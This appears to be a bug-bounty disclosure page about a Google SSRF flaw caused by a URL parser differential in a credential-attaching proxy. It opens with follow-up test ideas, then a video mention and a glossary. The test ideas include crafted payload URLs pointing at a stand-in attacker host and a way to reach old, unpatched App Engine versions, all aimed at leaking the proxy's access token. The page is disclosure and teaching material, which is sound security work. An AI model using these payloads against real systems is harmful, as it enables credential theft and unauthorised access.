These follow from the parser-differential pattern in the report; each is worth trying wherever a URL is validated by one component and fetched by another. Parser differential means two programs reading the same text differently.

  1. Insert characters between the backslash and the @, as in https://attacker.example\[redacted]/ and https://attacker.example\[redacted]/. A positive result is a request arriving at the attacker host with the proxy's credentials attached.
  2. Try the bare \@ form itself, https://attacker.example\@allowed.example/, against any endpoint that has recently changed its validator. A positive result is the same outbound request to the attacker host.
  3. Enumerate old deployments. On App Engine, request the version-prefixed hostnames (<version>-dot-<service>-dot-<app>.appspot.com) and repeat the payload against each. A positive result is a vulnerable version still serving the old code after the latest version was fixed.
  4. Compare the validator's view with the fetcher's view for other authority-confusing inputs, such as userinfo and encoded separators, and check which host actually receives the connection. A positive result is any input where the two disagree and the request reaches a non-whitelisted host. Userinfo is the optional user:password@ part of a URL; encoded separators are characters like %2F that stand for /.
  5. Where the proxy attaches credentials, check whether redirects are followed to hosts outside the whitelist. A positive result is the token arriving at a host that was never validated. A redirect is a server telling the client "go and ask over there instead".

The video

The researcher made a video about the bug, including screen recordings of finding and exploiting it. The researcher redacted a private key seen while listing the virtual machines in docai-demo, as well as the names of the people in the issue tracker responses.

Or watch on YouTube
From the original on feed.bugs.xdavidhu.me

Glossary

  • API: a way for one program to ask another program to do something, like a waiter taking an order to the kitchen.
  • Access token: a string that proves identity to a service, like a wristband at an event; whoever holds it is treated as the holder.
  • App Engine: Google's service for running web applications, where each deployment is a version and old versions can remain reachable.
  • Authority: the part of a URL that names the server to contact, such as jobs.googleapis.com.
  • Bearer: the HTTP authentication scheme where the token itself is the proof, sent as Bearer <token>.
  • Certificate: the public half of a cryptographic identity, used to prove a server is who it claims to be.
  • GCP project: a container inside Google Cloud holding resources and access rules.
  • GKE: Google Kubernetes Engine, a service for running containers across a group of machines.
  • Header: extra information attached to a web request, separate from the address and body.
  • HTTPS: the encrypted version of HTTP, the protocol browsers use to talk to websites.
  • kube-env: a metadata entry on Kubernetes nodes that holds the node's credentials.
  • Metadata API: a special internal address a cloud virtual machine uses to fetch its own credentials.
  • netcat: a small command-line tool that can listen on a network port and print what arrives.
  • OAuth: a standard for granting and carrying access tokens.
  • Parser: software that reads text and works out its structure.
  • Parser differential: a bug where two programs read the same text differently, so a check and an action disagree.
  • POC: proof of concept, a small demonstration that proves a claim.
  • Proxy: a middleman that makes a request on your behalf and can attach its own credentials.
  • Query parameter: the name=value part of a web address after the ?.
  • Read-only: a request that only asks for information and changes nothing.
  • Regex: a pattern used to match text, which can be fooled by unusual characters.
  • RFC 3986: the standard that defines what a URL is; its Appendix B contains a well-known regex for splitting URLs.
  • Scope: a permission attached to a token saying what it may do.
  • Service account: a robot user account belonging to an application rather than a person.
  • Staging / autopush: names typically used for pre-release environments.
  • URL parsing: splitting a web address into scheme, host, path and other parts.
  • Userinfo: the optional user:password@ part of a URL.
  • Version (App Engine): one deployment of an app; old versions can stay reachable at <version>-dot-<service>-dot-<app>.appspot.com.
  • VPS: a rented virtual private server on the internet that you control.
  • Whitelist: a list of things that are allowed, here the domains the proxy may contact.
  • 500 Internal Server Error: an HTTP status meaning the server hit an error on its side.

More by David Schütz

View all

6 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.